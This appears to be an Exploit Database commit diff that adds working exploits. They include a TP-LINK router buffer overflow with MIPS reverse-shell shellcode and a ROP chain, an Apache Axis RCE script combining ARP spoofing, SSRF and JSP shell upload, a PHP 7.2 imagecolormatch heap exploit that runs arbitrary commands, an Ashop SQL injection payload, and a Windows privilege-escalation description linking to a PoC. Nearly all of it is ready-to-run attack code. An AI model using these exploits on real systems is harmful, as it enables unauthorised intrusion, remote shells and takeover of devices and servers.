DB: 2019-04-10

7 changes to exploits/shellcodes Microsoft Windows - AppX Deployment Service Privilege Escalation PHP 7.2 - 'imagecolormatch()' Out of Band Heap Write TP-LINK TL-WR940N / TL-WR941ND - Buffer Overflow Apache Axis 1.4 - Remote Code Execution Ashop Shopping Cart Software - 'bannedcustomers.php?blacklistitemid' SQL Injection Linux/x64 - XANAX Encoder Shellcode (127 bytes) Linux/x64 - XANAX Decoder Shellcode (127 bytes)
2019-04-10 05:02:03 +00:00 · 2019-04-10 05:02:03 +00:00 · be8aa5121b
commit be8aa5121b
parent 23f668ca8d
9 changed files with 728 additions and 0 deletions
--- a/exploits/hardware/remote/46678.py
+++ b/exploits/hardware/remote/46678.py
@ -0,0 +1,139 @@
+#Author Grzegorz Wypych - h0rac
+# TP-LINK TL-WR940N/TL-WR941ND buffer overflow remote shell exploit
+
+import requests
+import md5
+import base64
+import string
+import struct
+import socket
+
+password = md5.new('admin').hexdigest()
+cookie = base64.b64encode('admin:'+password)
+
+print '[+] Authorization cookie: ', cookie
+print '[+] Login to generate user directory...'
+#proxy = {'http':'127.0.0.1:8080'}
+
+loginUrl = 'http://192.168.0.1/userRpm/LoginRpm.htm?Save=Save'
+headers = {'cookie':'Authorization=Basic%20'+cookie.replace('=', '%3D')}
+req = requests.get(loginUrl, headers=headers)
+directory = ''
+
+nop = "\x27\xE0\xFF\xFF"
+
+shellcode = string.join([
+		"\x24\x0f\xff\xfa", # li	t7,-6
+		"\x01\xe0\x78\x27", # nor	t7,t7,zero
+		"\x21\xe4\xff\xfd", # addi	a0,t7,-3
+		"\x21\xe5\xff\xfd", # addi	a1,t7,-3
+		"\x28\x06\xff\xff", # slti	a2,zero,-1
+		"\x24\x02\x10\x57", # li	v0,4183
+		"\x01\x01\x01\x0c", # syscall	0x40404
+		"\xaf\xa2\xff\xff", # sw	v0,-1(sp)
+		"\x8f\xa4\xff\xff", # lw	a0,-1(sp)
+		"\x34\x0f\xff\xfd", # li	t7,0xfffd
+		"\x01\xe0\x78\x27", # nor	t7,t7,zero
+		"\xaf\xaf\xff\xe0", # sw	t7,-32(sp)
+		"\x3c\x0e\x1f\x90", # lui	t6,0x1f90
+		"\x35\xce\x1f\x90", # ori	t6,t6,0x1f90
+		"\xaf\xae\xff\xe4", # sw	t6,-28(sp)
+
+		# Big endian IP address 172.28.128.4
+                "\x3c\x0e\xc0\xA8"  # lui       t6,0x7f01
+		#"\xac\x1c\x80\x04", # lui	t6,0x7f01
+		"\x35\xce\x01\x64", # ori	t6,t6,0x101
+
+		"\xaf\xae\xff\xe6", # sw	t6,-26(sp)
+		"\x27\xa5\xff\xe2", # addiu	a1,sp,-30
+		"\x24\x0c\xff\xef", # li	t4,-17
+		"\x01\x80\x30\x27", # nor	a2,t4,zero
+		"\x24\x02\x10\x4a", # li	v0,4170
+		"\x01\x01\x01\x0c", # syscall	0x40404
+		"\x24\x0f\xff\xfd", # li	t7,-3
+		"\x01\xe0\x78\x27", # nor	t7,t7,zero
+		"\x8f\xa4\xff\xff", # lw	a0,-1(sp)
+		"\x01\xe0\x28\x21", # move	a1,t7
+		"\x24\x02\x0f\xdf", # li	v0,4063
+		"\x01\x01\x01\x0c", # syscall	0x40404
+		"\x24\x10\xff\xff", # li	s0,-1
+		"\x21\xef\xff\xff", # addi	t7,t7,-1
+		"\x15\xf0\xff\xfa", # bne	t7,s0,68 <dup2_loop>
+		"\x28\x06\xff\xff", # slti	a2,zero,-1
+		"\x3c\x0f\x2f\x2f", # lui	t7,0x2f2f
+		"\x35\xef\x62\x69", # ori	t7,t7,0x6269
+		"\xaf\xaf\xff\xec", # sw	t7,-20(sp)
+		"\x3c\x0e\x6e\x2f", # lui	t6,0x6e2f
+		"\x35\xce\x73\x68", # ori	t6,t6,0x7368
+		"\xaf\xae\xff\xf0", # sw	t6,-16(sp)
+		"\xaf\xa0\xff\xf4", # sw	zero,-12(sp)
+		"\x27\xa4\xff\xec", # addiu	a0,sp,-20
+		"\xaf\xa4\xff\xf8", # sw	a0,-8(sp)
+		"\xaf\xa0\xff\xfc", # sw	zero,-4(sp)
+		"\x27\xa5\xff\xf8", # addiu	a1,sp,-8
+		"\x24\x02\x0f\xab", # li	v0,4011
+		"\x01\x01\x01\x0c"  # syscall	0x40404
+            ], '')
+
+libcBase= 0x77f53000
+sleep = libcBase + 0x53CA0
+gadget1 = libcBase + 0x00055c60 # addiu $a0, $zero, 1; move $t9, $s1; jalr $t9;
+gadget2 = libcBase + 0x00024ecc #lw $ra, 0x2c($sp); lw $s1, 0x28($sp); lw $s0, 0x24($sp); jr $ra;
+gadget3 = libcBase + 0x0001e20c # move $t9, $s1; lw $ra, 0x24($sp); lw $s2, 0x20($sp); lw $s1, 0x1c($sp); lw $s0, 0x18($sp); jr $t9
+gadget4 = libcBase + 0x000195f4 #addiu $s0, $sp, 0x24; move $a0, $s0; move $t9, $s1; jalr $t9; 
+gadget5 = libcBase + 0x000154d8 # #move $t9, $s0; jalr $t9; 
+
+
+print "[+] First gadget address: ", hex(gadget1)
+print "[+] Second gadget address: ", hex(gadget2) 
+print "[+] Third gadget address: ", hex(gadget3)
+print "[+] Fourth gadget address: ", hex(gadget4)
+print "[+] Fifth gadget address: ", hex(gadget4)
+print "[+] Sleep function address: ", hex(sleep)  
+payload = "A"*160
+s0 = "BBBB"
+s1 = gadget2
+payload += s0
+payload += struct.pack('>I', s1)
+payload += struct.pack('>I', gadget1) #Overwrite RA address
+#New stack for gadget 2 starts
+payload += "E" * 20 # adjust stack
+payload += "FFFF" #gadget3 -> lw $s0, 0x18($sp) => 24 bytes
+payload += "GGGG" #gadget3 -> lw $s1, 0x1c($sp) => 28 bytes
+payload += "HHHH" #gadget3 -> lw $s2, 0x20($sp) => 32 bytes
+payload += "AAAA"
+payload += "CCCC"
+payload += struct.pack('>I', sleep) #gadget2 -> lw $s1, 0x28($sp) => 40 bytes
+payload += struct.pack('>I', gadget3) #gadget2 -> lw $ra, 0x2c($sp) => 44 bytes
+#New stack for gadget 3 starts
+payload += "G" *24
+payload += "A"* 4 #lw $s0, 0x18($sp); sp + 24 bytes = s0
+payload += struct.pack('>I', gadget5)#lw $s1, 0x1c($sp); sp + 28 bytes = s1 <= load gadget 5 addr
+payload += "C" *4 #lw $s2, 0x20($sp); sp + 32 bytes = s2
+payload += struct.pack('>I', gadget4) #lw $ra, 0x24($sp); sp + 36 bytes = ra <= load gadget 4 addr
+#New stack for gadget 4 starts
+payload += nop * 32  
+payload += shellcode #addiu $s0, $sp, 0x24; sp + 36 bytes = s0
+
+if(req.status_code):
+    directory = req.text.split('=')[2].split('/')[3]
+    print '[+] Retrieved folder name: ', directory
+    req.close() 
+    referer ='http://192.168.0.1/{0}/userRpm/DiagnosticRpm.htm'.format(directory)
+  
+    host = '192.168.0.1'
+    port = 80
+
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.connect((host, port))
+    print "[*] Connected, sending payload {0} bytes...".format(len(payload))
+    pingUrl = '{1}/userRpm/PingIframeRpm.htm'.format(host,directory)
+    pingUrl += '?ping_addr='+payload+'&doType=ping&isNew=new&sendNum=4&psize=64&overTime=800&trHops=20'
+    auth = 'Authorization=Basic%20'+cookie.replace('=', '%3D')
+    pingReq = "GET /{0} HTTP/1.1\r\nHost: {1}\r\nReferer: {2}\r\ncookie: {3}\r\n\r\n".format(pingUrl, host, referer, auth)
+    print "[+] Exploit request: {0}".format(pingReq)
+    s.send(pingReq)
+    s.recv(4096)
+    s.close()
+else:
+    req.close()
--- a/exploits/multiple/remote/46682.py
+++ b/exploits/multiple/remote/46682.py
@ -0,0 +1,111 @@
+#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
+#	Apache Axis 1.4 Remote Code Execution CVE-2019-0227                                             #
+#https://rhinosecuritylabs.com/Application-Security/CVE-2019-0227-Expired-Domain-to-RCE-in-Apache-Axis  #
+#	Author: David Yesland @daveysec, Rhino Security Labs				                #
+#	This exploits Apache Axis < 1.4 to upload and execute a JSP payload using MITM                  #
+#	by forcing an http request using the default StockQuoteService.jws service.                     #
+#       You need to be on the same network as the Axis server to make this work.                        #
+#	A lot of this exploit is based on the research from:                                            #
+#	https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce                                      #
+#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
+
+import SimpleHTTPServer
+import SocketServer
+import subprocess
+from time import sleep
+import thread
+import requests
+from urllib import quote_plus
+import sys
+
+#Usage: python CVE-2019-0227.py shell.jsp
+
+#You need to change these variable to match your configuration
+myip = "192.168.0.117" #IP of your machine
+target = "192.168.0.102" #IP of target
+gateway = "192.168.0.1" #default gateway
+targetport = "8080" #Port of target running axis (probably 8080)
+pathtoaxis = "http://192.168.0.102:8080/axis" #This can be custom depending on the Axis install, but this is default
+spoofinterface = "eth0" #Interface for arpspoofing
+jspwritepath = "webapps\\axis\\exploit.jsp" #relative path on the target to write the JSP payload This is the default on a Tomcat install
+
+#msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
+payloadfile = open(sys.argv[1],'r').read() #Some file containing a JSP payload
+
+#craft URL to deploy a service as described here https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
+deployurl = 'http://localhost:'+targetport+'/axis/services/AdminService?method=%21--%3E%3Cns1%3Adeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22+provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler+type%3D%22RandomLog%22%2F%3E%3C%2FrequestFlow%3E%3Cns1%3Aparameter+name%3D%22className%22+value%3D%22java.util.Random%22%2F%3E%3Cns1%3Aparameter+name%3D%22allowedMethods%22+value%3D%22%2A%22%2F%3E%3C%2Fns1%3Aservice%3E%3Chandler+name%3D%22RandomLog%22+type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22+%3E%3Cparameter+name%3D%22LogHandler.fileName%22+value%3D%22'+quote_plus(jspwritepath)+'%22+%2F%3E%3Cparameter+name%3D%22LogHandler.writeToConsole%22+value%3D%22false%22+%2F%3E%3C%2Fhandler%3E%3C%2Fns1%3Adeployment'
+
+#craft URL to undeploy a service as described here https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
+undeployurl = 'http://localhost:'+targetport+'/axis/services/AdminService?method=%21--%3E%3Cns1%3Aundeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22%2F%3E%3C%2Fns1%3Aundeployment'
+
+
+def CreateJsp(pathtoaxis,jsppayload):
+    url = pathtoaxis+"/services/exploitservice"
+    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "SOAPAction": "something", "Content-Type": "text/xml;charset=UTF-8"}
+    data="<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n        <soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\n        xmlns:api=\"http://127.0.0.1/Integrics/Enswitch/API\"\r\n        xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"\r\n        xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\r\n        <soapenv:Body>\r\n        <api:main\r\n        soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n            <api:in0><![CDATA[\r\n"+jsppayload+"\r\n]]>\r\n            </api:in0>\r\n        </api:main>\r\n  </soapenv:Body>\r\n</soapenv:Envelope>"
+    requests.post(url, headers=headers, data=data)
+
+def TriggerSSRF(pathtoaxis):
+    url = pathtoaxis+"/StockQuoteService.jws"
+    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "SOAPAction": "", "Content-Type": "text/xml;charset=UTF-8"}
+    data="<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:def=\"http://DefaultNamespace\">\r\n   <soapenv:Header/>\r\n   <soapenv:Body>\r\n      <def:getQuote soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n         <symbol xsi:type=\"xsd:string\">dwas</symbol>\r\n      </def:getQuote>\r\n   </soapenv:Body>\r\n</soapenv:Envelope>"
+    requests.post(url, headers=headers, data=data)
+
+
+def StartMitm(interface,target,gateway):
+	subprocess.Popen("echo 1 > /proc/sys/net/ipv4/ip_forward",shell=True)#Enable forwarding
+	subprocess.Popen("arpspoof -i {} -t {} {}".format(interface,target,gateway),shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)#spoof target -> gateway
+	subprocess.Popen("iptables -t nat -A PREROUTING -p tcp --dport 80 -j NETMAP --to {}".format(myip),shell=True)#use iptable to redirect back to our web server
+
+
+def KillMitm(target,myip):
+	subprocess.Popen("pkill arpspoof",shell=True)
+	subprocess.Popen("echo 0 > /proc/sys/net/ipv4/ip_forward",shell=True)
+	subprocess.Popen("iptables -t nat -D PREROUTING -p tcp --dport 80 -j NETMAP --to {}".format(myip),shell=True)
+
+
+def SSRFRedirect(new_path):
+	class myHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
+	   def do_GET(self):
+	       self.send_response(301)
+	       self.send_header('Location', new_path)
+	       self.end_headers()
+	PORT = 80
+	SocketServer.TCPServer.allow_reuse_address = True
+	handler = SocketServer.TCPServer(("", PORT), myHandler)
+	print "[+] Waiting to redirect"
+	handler.handle_request()
+	print "[+] Payload URL sent"
+
+
+def ExecuteJsp(pathtoaxis):
+	subprocess.Popen("curl "+pathtoaxis+"/exploit.jsp",shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+
+print "[+] Starting MITM"
+StartMitm(spoofinterface,target,gateway)
+sleep(2)
+
+print "[+] Starting web server for SSRF"
+thread.start_new_thread(SSRFRedirect,(deployurl,))
+
+print "[+] Using StockQuoteService.jws to trigger SSRF"
+TriggerSSRF(pathtoaxis)
+print "[+] Waiting 3 seconds for incoming request"
+sleep(3)
+
+print "[+] Writing JSP payload"
+CreateJsp(pathtoaxis,payloadfile)
+
+print "[+] Cleaning up exploit service"
+thread.start_new_thread(SSRFRedirect,(undeployurl,))
+TriggerSSRF(pathtoaxis)
+
+print "[+] Cleaning up man in the middle"
+KillMitm(target,myip)
+
+print "[+] Waiting 2 seconds for JSP write"
+sleep(2)
+ExecuteJsp(pathtoaxis)
+
+print "[+] Default URL to the jsp payload:"
+print pathtoaxis+"/exploit.jsp"
--- a/exploits/php/remote/46677.php
+++ b/exploits/php/remote/46677.php
@ -0,0 +1,343 @@
+<?php
+# imagecolormatch() OOB Heap Write exploit
+# https://bugs.php.net/bug.php?id=77270
+# CVE-2019-6977
+# Charles Fol
+# @cfreal_
+#
+# Usage: GET/POST /exploit.php?f=<system_addr>&c=<command>
+# Example: GET/POST /exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi
+#
+# Target: PHP 7.2.x
+# Tested on: PHP 7.2.12
+#
+
+/*
+
+buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0);
+
+	for (x=0; x<im1->sx; x++) {
+		for( y=0; y<im1->sy; y++ ) {
+			color = im2->pixels[y][x];
+			rgb = im1->tpixels[y][x];
+			bp = buf + (color * 5);
+			(*(bp++))++;
+			*(bp++) += gdTrueColorGetRed(rgb);
+			*(bp++) += gdTrueColorGetGreen(rgb);
+			*(bp++) += gdTrueColorGetBlue(rgb);
+			*(bp++) += gdTrueColorGetAlpha(rgb);
+		}
+
+The buffer is written to by means of a color being the index:
+color = im2->pixels[y][x];
+..
+bp = buf + (color * 5);
+
+*/
+
+#
+# The bug allows us to increment 5 longs located after buf in memory.
+# The first long is incremented by one, others by an arbitrary value between 0
+# and 0xff.
+#
+
+error_reporting(E_ALL);
+define('OFFSET_STR_VAL', 0x18);
+define('BYTES_PER_COLOR', 0x28);
+
+
+class Nenuphar extends DOMNode
+{
+	# Add a property so that std.properties is created
+	function __construct()
+	{
+		$this->x = '1';
+	}
+
+	# Define __get
+	# => ce->ce_flags & ZEND_ACC_USE_GUARDS == ZEND_ACC_USE_GUARDS
+	# => zend_object_properties_size() == 0
+	# => sizeof(intern) == 0x50
+	function __get($x)
+	{
+		return $this->$x;
+	}
+}
+
+class Nenuphar2 extends DOMNode
+{
+	function __construct()
+	{
+		$this->x = '2';
+	}
+
+	function __get($x)
+	{
+		return $this->$x;
+	}
+}
+
+function ptr2str($ptr, $m=8)
+{
+	$out = "";
+    for ($i=0; $i<$m; $i++)
+    {
+        $out .= chr($ptr & 0xff);
+        $ptr >>= 8;
+    }
+    return $out;
+}
+
+function str2ptr(&$str, $p, $s=8)
+{
+	$address = 0;
+	for($j=$p+$s-1;$j>=$p;$j--)
+	{
+		$address <<= 8;
+		$address |= ord($str[$j]);
+	}
+	return $address;
+}
+
+# Spray stuff so that we get concurrent memory blocks
+for($i=0;$i<100;$i++)
+	${'spray'.$i} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);
+for($i=0;$i<100;$i++)
+	${'sprayx'.$i} = str_repeat(chr($i), 12 * BYTES_PER_COLOR - OFFSET_STR_VAL);
+
+#
+# #1: Address leak
+# We want to obtain the address of a string so that we can make
+# the Nenuphar.std.properties HashTable* point to it and hence control its
+# structure.
+#
+
+# We create two images $img1 and $img2, both of 1 pixel.
+# The RGB bytes of the pixel of $img1 will be added to OOB memory because we set
+# $img2 to have $nb_colors images and we set its only pixel to color number
+# $nb_colors.
+#
+$nb_colors = 12;
+$size_buf = $nb_colors * BYTES_PER_COLOR;
+
+# One pixel image so that the double loop iterates only once
+$img1 = imagecreatetruecolor(1, 1);
+
+# The three RGB values will be added to OOB memory
+# First value (Red) is added to the size of the zend_string structure which
+# lays under buf in memory.
+$color = imagecolorallocate($img1, 0xFF, 0, 0);
+imagefill($img1, 0, 0, $color);
+
+$img2 = imagecreate(1, 1);
+
+# Allocate $nb_colors colors: |buf| = $nb_colors * BYTES_PER_COLOR = 0x1e0
+# which puts buf in 0x200 memory blocks
+for($i=0;$i<$nb_colors;$i++)
+	imagecolorallocate($img2, 0, 0, $i);
+
+imagesetpixel($img2, 0, 0, $nb_colors + 1);
+
+# Create a memory layout as such:
+# [z:   zend_string: 0x200]
+# [x:   zend_string: 0x200]
+# [y:   zend_string: 0x200]
+$z = str_repeat('Z', $size_buf - OFFSET_STR_VAL);
+$x = str_repeat('X', $size_buf - OFFSET_STR_VAL);
+$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL);
+
+# Then, we unset z and call imagecolormatch(); buf will be at z's memory
+# location during the execution
+# [buf: long[]     : 0x200]
+# [x:   zend_string: 0x200]
+# [y:   zend_string: 0x200]
+#
+# We can write buf + 0x208 + (0x08 or 0x10 or 0x18)
+# buf + 0x208 + 0x08 is X's zend_string.len
+unset($z);
+imagecolormatch($img1, $img2);
+
+# Now, $x's size has been increased by 0xFF, so we can read further in memory.
+#
+# Since buf was the last freed block, by unsetting y, we make its first 8 bytes
+# point to the old memory location of buf
+# [free:             0x200] <-+
+# [x:   zend_string: 0x200]   |
+# [free:             0x200] --+
+unset($y);
+# We can read those bytes because x's size has been increased
+$z_address = str2ptr($x, 488) + OFFSET_STR_VAL;
+
+# Reset both these variables so that their slot cannot be "stolen" by other
+# allocations
+$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);
+
+# Now that we have z's address, we can make something point to it.
+# We create a fake HashTable structure in Z; when the script exits, each element
+# of this HashTable will be destroyed by calling ht->pDestructor(element)
+# The only element here is a string: "id"
+$z = 
+	# refcount
+	ptr2str(1) .
+	# u-nTableMask meth
+	ptr2str(0) .
+	# Bucket arData
+	ptr2str($z_address + 0x38) .
+	# uint32_t nNumUsed;
+	ptr2str(1, 4) .
+    # uint32_t nNumOfElements;
+	ptr2str(1, 4) .
+	# uint32_t nTableSize
+	ptr2str(0, 4) .
+	# uint32_t nInternalPointer
+	ptr2str(0, 4) .
+	# zend_long nNextFreeElement
+	ptr2str(0x4242424242424242) .
+	# dtor_func_t pDestructor
+	ptr2str(hexdec($_REQUEST['f'])) .
+	str_pad($_REQUEST['c'], 0x100, "\x00") .
+	ptr2str(0, strlen($y) - 0x38 - 0x100);
+;
+
+# At this point we control a string $z and we know its address: we'll make an
+# internal PHP HashTable structure point to it.
+
+
+#
+# #2: Read Nenuphar.std.properties
+#
+
+# The tricky part here was to find an interesting PHP structure that is
+# allocated in the same fastbins as buf, so that we can modify one of its
+# internal pointers. Since buf has to be a multiple of 0x28, I used dom_object,
+# whose size is 0x50 = 0x28 * 2. Nenuphar is a subclass of dom_object with just
+# one extra method, __get().
+# php_dom.c:1074: dom_object *intern = ecalloc(1, sizeof(dom_object) + zend_object_properties_size(class_type));
+# Since we defined a __get() method, zend_object_properties_size(class_type) = 0
+# and not -0x10.
+#
+# zend_object.properties points to an HashTable. Controlling an HashTable in PHP
+# means code execution since at the end of the script, every element of an HT is
+# destroyed by calling ht.pDestructor(ht.arData[i]).
+# Hence, we want to change the $nenuphar.std.properties pointer.
+#
+# To proceed, we first read $nenuphar.std.properties, and then increment it
+# by triggering the bug several times, until
+# $nenuphar.std.properties == $z_address
+#
+# Sadly, $nenuphar.std.ce will also get incremented by one every time we trigger
+# the bug. This is due to (*(bp++))++ (in gdImageColorMatch).
+# To circumvent this problem, we create two classes, Nenuphar and Nenuphar2, and
+# instanciate them as $nenuphar and $nenuphar2. After we're done changing the
+# std.properties pointer, we trigger the bug more times, until
+# $nenuphar.std.ce == $nenuphar2.std.ce2
+#
+# This way, $nenuphar will have an arbitrary std.properties pointer, and its
+# std.ce will be valid.
+#
+# Afterwards, we let the script exit, which will destroy our fake hashtable (Z),
+# and therefore call our arbitrary function.
+#
+
+# Here we want fastbins of size 0x50 to match dom_object's size
+$nb_colors = 2;
+$size_buf = $nb_colors * BYTES_PER_COLOR;
+
+$img1 = imagecreatetruecolor(1, 1);
+# The three RGB values will be added to OOB memory
+# Second value (Green) is added to the size of the zend_string structure which
+# lays under buf in memory.
+$color = imagecolorallocate($img1, 0, 0xFF, 0);
+imagefill($img1, 0, 0, $color);
+
+# Allocate 2 colors so that |buf| = 2 * 0x28 = 0x50
+$img2 = imagecreate(1, 1);
+for($i=0;$i<$nb_colors;$i++)
+	imagecolorallocate($img2, 0, 0, $i);
+
+$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);
+$x = str_repeat('X', $size_buf - OFFSET_STR_VAL - 8);
+$nenuphar = new Nenuphar();
+$nenuphar2 = new Nenuphar2();
+
+imagesetpixel($img2, 0, 0, $nb_colors);
+
+# Unsetting the first string so that buf takes its place
+unset($y);
+
+# Trigger the bug: $x's size is increased by 0xFF
+imagecolormatch($img1, $img2);
+
+$ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);
+$ce2_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + $size_buf + 0x28);
+$props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);
+
+print('Nenuphar.ce: 0x' . dechex($ce1_address) . "\n");
+print('Nenuphar2.ce: 0x' . dechex($ce2_address) . "\n");
+print('Nenuphar.properties: 0x' . dechex($props_address) . "\n");
+print('z.val: 0x' . dechex($z_address) . "\n");
+print('Difference: 0x' . dechex($z_address-$props_address) . "\n");
+
+if(
+	$ce2_address - $ce1_address < ($z_address-$props_address) / 0xff ||
+	$z_address - $props_address < 0
+)
+{
+	print('That won\'t work');
+	exit(0);
+}
+
+
+#
+# #3: Modifying Nenuphar.std.properties and Nenuphar.std.ce
+#
+
+# Each time we increment Nenuphar.properties by an arbitrary value, ce1_address
+# is also incremented by one because of (*(bp++))++;
+# Therefore after we're done incrementing props_address to z_address we need
+# to increment ce1's address one by one until Nenuphar1.ce == Nenuphar2.ce
+
+# The memory structure we have ATM is OK. We can just trigger the bug again
+# until Nenuphar.properties == z_address
+
+$color = imagecolorallocate($img1, 0, 0xFF, 0);
+imagefill($img1, 0, 0, $color);
+imagesetpixel($img2, 0, 0, $nb_colors + 3);
+
+for($current=$props_address+0xFF;$current<=$z_address;$current+=0xFF)
+{
+	imagecolormatch($img1, $img2);
+	$ce1_address++;
+}
+
+$color = imagecolorallocate($img1, 0, $z_address-$current+0xff, 0);
+imagefill($img1, 0, 0, $color);
+$current = imagecolormatch($img1, $img2);
+$ce1_address++;
+
+# Since we don't want to touch other values, only increase the first one, we set
+# the three colors to 0
+$color = imagecolorallocate($img1, 0, 0, 0);
+imagefill($img1, 0, 0, $color);
+
+# Trigger the bug once to increment ce1 by one.
+while($ce1_address++ < $ce2_address)
+{
+	imagecolormatch($img1, $img2);
+}
+
+# Read the string again to see if we were successful
+
+$new_ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);
+$new_props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);
+
+if($new_ce1_address == $ce2_address && $new_props_address == $z_address)
+{
+	print("\nExploit SUCCESSFUL !\n");
+}
+else
+{
+	print('NEW Nenuphar.ce: 0x' . dechex($new_ce1_address) . "\n");
+	print('NEW Nenuphar.std.properties: 0x' . dechex($new_props_address) . "\n");
+	print("\nExploit FAILED !\n");
+}
--- a/exploits/php/webapps/46681.txt
+++ b/exploits/php/webapps/46681.txt
@ -0,0 +1,18 @@
+# Exploit Title: Ashop Shopping Cart Software - SQL Injection
+# Date: 08.04.2019
+# Exploit Author: Doğukan Karaciğer
+# Vendor Homepage: http://www.ashopsoftware.com
+# Software Link: https://sourceforge.net/projects/ashop/
+# Demo Site: http://demo.ashopsoftware.com/
+# Version: Lastest
+# Tested on: Ubuntu-trusty-64
+# CVE: N/A
+
+----- PoC: SQLi -----
+
+Request: http://localhost/[PATH]/admin/bannedcustomers.php
+Parameter: blacklistitemid (POST)
+Type: AND/OR time-based blind
+Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
+Payload: blacklistitem=1&deletebutton=Delete&blacklistitemid=1 AND (SELECT
+* FROM (SELECT(SLEEP(5)))MGvE)
--- a/exploits/windows/local/46683.txt
+++ b/exploits/windows/local/46683.txt
@ -0,0 +1,9 @@
+This vulnerability allows low privileged users to hijack file that are owned by NT AUTHORITY\SYSTEM by overwriting permissions on the targeted file. Successful exploitation results in "Full Control" permissions for the low privileged user. 
+
+1. The exploit first checks if the targeted file exists, if it does it will check its permissions. Since we are using Microsoft Edge for this exploit it will kill Microsoft Edge in order to get access to the settings.dat file. 
+2. After Microsoft Edge is killed it will check for the "setting.dat" file and delete it in order to create a hardlink to the requested targeted file (in our case that was the HOSTS file) 
+3. Once a hardlink is created Microsoft Edge is fired up again to trigger the vulnerability. Concluding with a final check if indeed "Full Control" permissions have been set for the current user.
+
+
+Proof of Concept:
+https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/46683.zip
--- a/files_exploits.csv
+++ b/files_exploits.csv
@ -10402,6 +10402,7 @@ id,file,description,date,author,type,platform,port
 46670,exploits/windows/local/46670.py,"River Past Cam Do 3.7.6 - 'Activation Code' Local Buffer Overflow",2019-04-08,"Chris Au",local,windows,
 46673,exploits/windows/local/46673.py,"Download Accelerator Plus (DAP) 10.0.6.0 - SEH Buffer Overflow",2019-04-08,"Peyman Forouzan",local,windows,
 46676,exploits/linux/local/46676.php,"Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege Escalation",2019-04-08,cfreal,local,linux,
+46683,exploits/windows/local/46683.txt,"Microsoft Windows - AppX Deployment Service Privilege Escalation",2019-04-09,"Nabeel Ahmed",local,windows,
 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@ -17305,6 +17306,9 @@ id,file,description,date,author,type,platform,port
 46655,exploits/hardware/remote/46655.rb,"Cisco RV320 and RV325 - Unauthenticated Remote Code Execution (Metasploit)",2019-04-03,Metasploit,remote,hardware,
 46662,exploits/php/remote/46662.rb,"WordPress 5.0.0 - Crop-image Shell Upload (Metasploit)",2019-04-05,Metasploit,remote,php,80
 46675,exploits/multiple/remote/46675.py,"QNAP Netatalk < 3.1.12 - Authentication Bypass",2019-04-08,muts,remote,multiple,
